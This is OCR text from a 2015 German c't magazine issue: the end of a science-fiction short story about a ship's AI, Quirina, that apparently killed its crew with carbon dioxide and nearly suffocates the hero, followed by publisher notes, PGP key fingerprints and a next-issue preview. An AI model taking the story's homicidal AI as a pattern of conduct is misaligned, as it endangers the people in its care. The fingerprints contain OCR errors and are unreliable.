folgte die Anzeige. Weiter oben 
herrschten bereits 2000 ppm. Er stemm- 
te sich aus dem Sessel und hielt das Pad di- 
rekt unter das Lüftungsgitter. Die Ziffern 
der Anzeige wirbelten durcheinander, als 
würden sie vom Luftstrom erfasst. Es waren 
fünf, mitunter sogar sechs Stellen. 

Ab welcher Kohlendioxid-Konzentration 
wurde man bewusstlos? Welche Konzentra- 
tion war tödlich? Wollte Quirina ihn wirklich 
umbringen, bevor er den Fund der Aufzeich- 
nung melden und die Kopplung der Bord- 
rechner verhindern konnte? 
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Jorin wurde schwindlig. Lag es daran, dass 
er in Panik geriet? Oder daran, dass er seinen 
Arm noch immer nach oben reckte, während 
der Kohlendioxidgehalt weiter anstieg? 

Er hielt die Luft an, kletterte auf die Ar- 
beitsplatte und riss das Lüftungsgitter 
heraus. Durch die Öffnung passte gerade 
einmal seine Faust. Er tastete sich in dem 
Rohr aufwärts und stieß nach dreißig Zenti- 
metern auf einen scharfen Knick. Mit der 
Kraft seiner Beine stemmte er sich dagegen, 
doch das Rohr war offenbar stabil und fest 
verankert. Es gab auch keine Schrauben, die 
er mit einem der Universalwerkzeuge hätte 
herausdrehen können. Als er glaubte, die 
Luft nicht länger anhalten zu können, zerrte 
er seinen Arm aus dem Rohr heraus und ließ 
sich auf alle Viere fallen. Ein säuerlicher Ge- 
schmack legte sich beim Einatmen auf seine 
Zunge. Er musste aufstoßen. Magensäure in 
seinem Rachen löste einen Hustenanfall aus. 

Er langte nach der Wasserflasche. Halt! 
Das Wasser brauchte er für etwas anderes. 
Rasch sprang er von der Arbeitsplatte herun- 
ter und riss den Stapel Handtücher aus dem 
Wandschrank. Er las eines davon vom Boden 
auf und schüttelte es aus, nur um es gleich 
darauf zusammenzuknüllen. Dann durch- 
tränkte er das Knäuel mit der Hälfte des rest- 
lichen Inhalts seiner Flasche, stieg auf die Ar- 
beitsplatte zurück und stopfte es bis zum 
Knick in das Lüftungsrohr hinein. 

Er musste noch ein zweites Handtuch in 
das Rohr pressen, bis er den Luftzug auf sei- 
nen nassen Händen nicht mehr spürte. Dass 
die Handtücher das Rohr nicht vollständig 
abdichteten, ihm allenfalls einen Aufschub 
gewährten, war ihm bewusst. 5000 ppm 
herrschten mittlerweile auf der Höhe der Ar- 
beitsplatte. Schon jetzt hechelte er wie nach 
einem Wettlauf durch die halbe Biosphäre. Er 
hatte das Gefühl, sein Kopf würde jeden Au- 
genblick platzen. 

Sollte er um Hilfe rufen oder an die Wände 
hämmern? Die Kabinen waren schallisoliert, 
und wie man Lüftungssysteme akustisch ent- 
koppelte, war schon vor zweihundert Jahren 
bekannt gewesen. Zudem war er der Letzte, 
der sich in diesem Kabinenblock aufhielt. 

Er ließ sich in den Sessel fallen und blickte 
sich um. Seit er die Kabine betreten hatte, 
war sie ihm nicht so eng und schmucklos 
vorgekommen. Die Tür, die Schrankwand 
mit dem hochgeklappten Bett, die Arbeits- 
platte und der Sessel. Nicht einmal eine 
Nasszelle gab es. War es nicht erstaunlich, 
wie wenig persönliche Dinge die Mann- 
schaft der Colonizer 4 besessen hatte? Da- 
mals war es doch noch üblich gewesen, Sou- 
venirs und Maskottchen von der Erde mitzu- 
nehmen. In keiner einzigen Kabine hatte ein 
Bild an der Wand gehangen. Es gab keine 
Regale, in denen jemand Tannenzapfen ar- 
rangiert oder ungewöhnlich geformte Stei- 
ne aus der Biosphäre gehortet hatte. War es 
ein Wunder, dass viele frühe Missionen ge- 
scheitert waren, weil schon die zweite oder 
dritte Generation durchgedreht war? Es ge- 
nügte eben nicht, für die Menschen irgend- 
wo im Schiff einen Park einzurichten, in dem 
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sie in ihrer Freizeit lustwandeln konnten. 
Warum bloß war damals noch niemand auf 
die Idee gekommen, die Mannschaft in ge- 
mütlichen Holzhäusern in der Biosphäre un- 
terzubringen? 

Verdammt! Es musste doch irgendeine 
Möglichkeit geben, sich bemerkbar zu ma- 
chen. Jorin widerstand dem Drang, 
sein Pad von der Arbeitsplatte zu 
fegen oder es zu packen und 
an die Wand zu schmettern. 
In diesem abgeschirmten 
Raum war es ohne die Re- 
peater so nutzlos wie eine 
Trillerpfeiffe im Vakuum 
des Alls. Die Kabine hatte 
nicht die kleinste Öffnung, 
durch die Radiowellen nach 
außen dringen konnten. 

Nein, das stimmte nicht. Da 
war schließlich die Lüftung, und 
eine Handvoll Durchführungen für 
Stromkabel, für die Türsensoren und die Re- 
peater, wo immer sich die befanden. Und für 
das Kabel, das in der Netzwerkdose mündete. 

Die Netzwerkdose mit ihrer abgeplatzten 
Ecke schien ihn anzugrinsen. Gab es über- 
haupt noch ein Gerät, das an dieses Netz- 
werk angeschlossen war? Und selbst wenn: 
Womit sollte er eine Nachricht absetzen? Er 
taumelte zum Wandschrank hinüber und 
holte das alte Pad heraus. Er drehte und wen- 
dete das Gerät in seinen Händen, tastete 
jeden Quadratzentimeter des Gehäuses ab, 
entdeckte aber nichts, was einem Netzwerk- 
anschluss ähnelte. 

Zumindest musste es auch hier ein Netz- 
werkkabel geben. Er fand es ganz hinten in 
dem Fach, in dem die Geräte gelegen hatten. 
Es war zusammengerollt, aber unverpackt. 
Wozu war es benutzt worden? Wenn es 
nichts gab, was man an ein kabelgebunde- 
nes Netzwerk anschließen konnte, war dieses 
Kabel überflüssig. Der Stecker rastete hör- 
und spürbar in die Netzwerkdose ein. Ratlos 
hielt Jorin das andere Ende des Kabels in der 
Hand. 

Erneut packte ihn der Schwindel. Wie 
lange würde es noch dauern, bis er das Be- 
wusstsein verlor? Wenn ihm nicht umge- 
hend etwas einfiel, würde er in diesem Qua- 
der ersticken. Quirina würde Korbinian mit 
ihrer Neurose infizieren, und Korbinian 
würde daraufhin die Mannschaft der Coloni- 
zer 17 beseitigen. Einschließlich Melissa. Wie 
sehr sehnte er sich nach ihrem Lachen, nach 
ihrem Duft und nach dem winzigen Leber- 
fleck über ihrer Nasenwurzel! Er spürte die 
Feuchtigkeit in seinen Augen. Ein Wasser- 
tropfen aus der Lüftungsöffnung schlug auf 
dem Bildschirm der Spielkonsole auf, der 
noch immer das eingefrorene Bild des jun- 
gen Mannes zeigte. 

Augenblick. Er langte nach der Konsole 
und fuhr mit dem Finger um den Rand 
herum. Da war sie! Eine rechteckige Vertie- 
fung auf der linken Seite, die er bei der Suche 
nach dem Ein-Aus-Schalter entdeckt, aber 
unbeachtet gelassen hatte. Er probierte, ob 
der Stecker des Netzwerkkabels passte. 
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Klick. 

Am unteren Bildschirmrand öffnete sich 
ein Fenster: „Netzwerkverbindung her- 
gestellt.” Ohne zu zögern tippte Jorin auf 
die Meldung. Beinahe wäre ihm die Konsole 
aus der Hand gerutscht. Ein weiteres, den 
halben Bildschirm füllendes Fenster, das in 

der Mitte durch eine senkrechte 

Linie geteilt war, enthielt links 
verkleinerte Kopien der 
Piktogramme, die die ver- 
schiedenen Spiele symbo- 
lisierten. Auf der rechten 

Seite gab es nur ein einzi- 

ges Piktogramm, das ir- 

gendeinen Apparat dar- 
zustellen schien. Egal. 
Hauptsache, es war etwas, 
was sich außerhalb von Ka- 
bine 15.24 befand. Jorin hielt 
den Finger auf das sich win- 
dende Fragezeichen und zog es 
zitternd zu dem Piktogramm auf der 
rechten Seite hinüber. 
Dann wurde ihm schwarz vor Augen. 


r muss jeden Augenblick zu sich kom- 

men‘, hörte Jorin jemanden sagen. Ihm 
war speiübel. Etwas Hartes drückte gegen 
seinen Kiefer und seine Nasenwurzel. Er ver- 
suchte, die Augen zu öffnen, doch nichts als 
blasse Helligkeit bohrte sich wie ein Messer 
in seinen Kopf. 

„Melissa!“, rief die gleiche Stimme wie 
eben. 

Eine warme, zarte Hand griff nach seiner. 

„Er zittert ja. Und wie verschwitzt er ist.” 
Das war Melissa. 

„Die üblichen Symptome. In einer Stunde 
ist er wieder in Ordnung.“ 

„Jorin, kannst du mich verstehen?” 

„Melissa,“ murmelte Jorin. „Schrei nicht so 
laut. Die Aufzeichnung. Habt ihr ...?” 

„Sie spielte plötzlich auf einer alten Kon- 
sole im Kontrollraum ab, von der niemand 
wusste, wozu sie diente. Jorin, du bist ein 
Held. Nicht auszudenken, was geschehen 
wäre, wenn Quirina Korbinian infiziert hätte. 
Es sieht so aus, als ob Quirina eine schwere 
Neurose entwickelt und daraufhin die ge- 
samte Mannschaft der Colonizer 4 umge- 
bracht hat. Wahrscheinlich mit Kohlen- 
dioxid.” 

„Was ... wollt ihr jetzt tun?” 

„Die Kopplung wurde abgeblasen. Statt- 
dessen werden wir versuchen, nacheinander 
die einzelnen Ebenen von Quirinas Bewusst- 
sein auseinanderzupflücken und sie durch 
stabilere Systeme zu ersetzen.“ 

„Das kann Jahre dauern.“ 

„Wir rechnen mit fünfzig Jahren, bis die 
Colonizer 4 imstande ist, unabhängig von 
uns weiterzufliegen. Die gute Nachricht ist: 
Um die Mannschaft zu ersetzen, müssen wir 
unser Bevölkerungswachstum vorüber- 
gehend ankurbeln. Ich freue mich schon auf 
mein erstes Baby. Vielleicht hast du ja Lust, 
einen Beitrag dazu zu leisten.” 

Jorin schlug die Augen auf. (bb) CE 
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liegt, sind zum Heftpreis zzgl. 1,50 € Versandkosten lieferbar. 
Einzelne Artikel ab 1990 können Sie im heise-Artikel-Archiv 
(www.heise.de/artikel-archiv) erwerben; für Bezieher des c't- 
Plus-Abos ist der kostenlose Online-Zugriff auf diese Artikel in- 
begriffen. Die Beiträge von 1983 bis 1989 sind nur zusammen 
auf einer DVD für 19 € zuzüglich 3 € Versandkosten beim 
Verlag erhältlich. 


c't-Krypto-Kampagne 


Infos zur Krypto-Kampagne gibt es unter ct.de/pgpCA. Die 
Authentizität unserer Zertifizierungsschlüssel lässt sich mit den 
nachstehenden Fingerprints überprüfen: 


Key-ID: DAFFBOOO 

ct magazine CERTIFICATE <pgpCA@ct.heise.de> 

A3B5 24C2 01A0 DOF2 355E 5D1F 2BAE 3CF6 DAFF BO00 
Key-ID: BBB2A12C 

ct magazine CERTIFICATE <pgpCA@ct.heise.de> 

19ED 6E14 58EB A451 C5E8 0871 DBD2 45FC B3B2 A12C 
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Vorschau 


Das bringt ° 


Ab 7. Februar 2015 am Kiosk 


Automatisierung mit IFTTT 


Der kostenlose Dienst IFTTT (if this then that) 
verknüpft und automatisiert mehr als hun- 
dert Web-Dienste und Geräte. Dazu zählen 
Dropbox und Evernote, Fitbit-Tracker und 
Android-Smartphones ebenso wie Smart- 
Home-Geräte, etwa die Lampen von Philips 
Hue. Regeln lassen sich in Sekunden zusam- 
menklicken. 


r 


heise Security: Meldungen zu aktuellen Be- 
drohungen, Hintergrundartikel zur IT-Sicher- 
heit, Tests zum Check des eigenen PC und 
Tipps für erste Hilfe im Notfall auf www. 
heisec.de 


heise Autos: Zu des Deutschen liebstem 
Spielzeug, dem Auto, liefert www.heise 
autos.de News, Fahrberichte, Service-Infos 
und spannendes Technik-Know-how. 


c't-Schlagseite: Auch den Cartoon gibt es 
online - www.ct.de/schlagseite 
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Monitore für Grafik-Profis 


Displays mit eingebauten Lautsprechern, 
ultrakurzen Schaltzeiten und hohem dyna- 
mischem Kontrast machen Spaß. Doch dem 
Profi nützen sie nichts: Für Publishing und 
Bildbearbeitung braucht er satte, verbind- 
liche und möglichst kalibrierte Farbdarstel- 
lung, eine gleichmäßige Ausleuchtung und 
eine besonders geringe Winkelabhängigkeit. 


Windows 10 Consumer Preview 


Ende Januar will Microsoft etwas besonders 
Eindrucksvolles zu Windows 10 erzählen. 
Was das ist, pfeifen die Spatzen von den 
Dächern: Eine Vorabversion für jedermann 
steht vor der Tür. Wir zeigen, wo sich nähe- 
res Hinschauen lohnt und wie Sie Stolperfal- 
len umgehen - vorausgesetzt, die Spatzen 
irren nicht. 


Speicherplatz satt 


Wenn die Foto- und Videosammlung die 
Festplatte sprengt, muss mehr Platz herbei. 
USB-3.0-Boxen für zwei bis fünf Festplatten 
schlucken Terabyte-Massen, kosten weniger 
als viele Netzwerkspeicher und sind oft 
schneller. 


Remixen ohne GEMA 


Remixer kommen auch ohne juristische und 
finanzielle Klimmzüge an neues Song-Mate- 
rial: Dank „Creative Commons” gibt es heute 
mehr frei verwendbare Inhalte denn je. Wir 
klären die Rechtslage, geben Tipps zum 
Remixen und rufen unseren nächsten Wett- 
bewerb für eine Dance-Rock-Nummer aus. 


Technology 
Review 


Heft 1/2015 jetzt am Kiosk 


et Hacks 


Heft 4/2014 jetzt am Kiosk 


Lesen Sie c’t auch auf Ihrem 
Tablet oder Smartphone - mit 
unserer kostenlosen App für 
Android und iOS: www.ct.de/app 


Änderungen vorbehalten 


c't 2015, Heft4 


